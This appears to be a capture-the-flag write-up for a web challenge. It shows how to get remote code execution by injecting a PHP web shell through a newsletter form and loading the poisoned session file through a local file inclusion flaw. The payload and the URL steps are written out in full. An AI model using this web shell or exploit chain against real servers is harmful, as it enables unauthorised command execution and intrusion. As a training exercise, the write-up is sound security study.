## Big Software Foundation

Big Software Foundation or BSF, one of the largest software development companies finally launched their website after a long break. They asked us to assess their security, can you help us find a flaw in their system or is it impenetrable?

<h3 align="center">
    <img width="100%" src="./index.png">
</h3>

### Solution

There are few ways how this challenge can be solved. One of these ways it by PHP session poisoning. For this you need to locate "Sign For Newsletter" form and send payload 
instead of email. Payload should look like this:

```php
<?=shell_exec($_GET[cmd]);?>
```

<h3 align="center">
    <img width="100%" src="./email.png">
</h3>

Now, since we obviously have local file inclusion vulnerability in `?page=` parameter we can access our session at `/tmp/sess_<PHPSESSID>`. Accessing it through `?page=/tmp/sess_<PHPSESSID>&cmd=cat+flag.txt` would lead to RCE reading `flag.txt`

**NOTE:** Doing `?page=flag.txt` won't work because code prohibits direct access to this file.

<h3 align="center">
    <img width="100%" src="./denied.png">
</h3>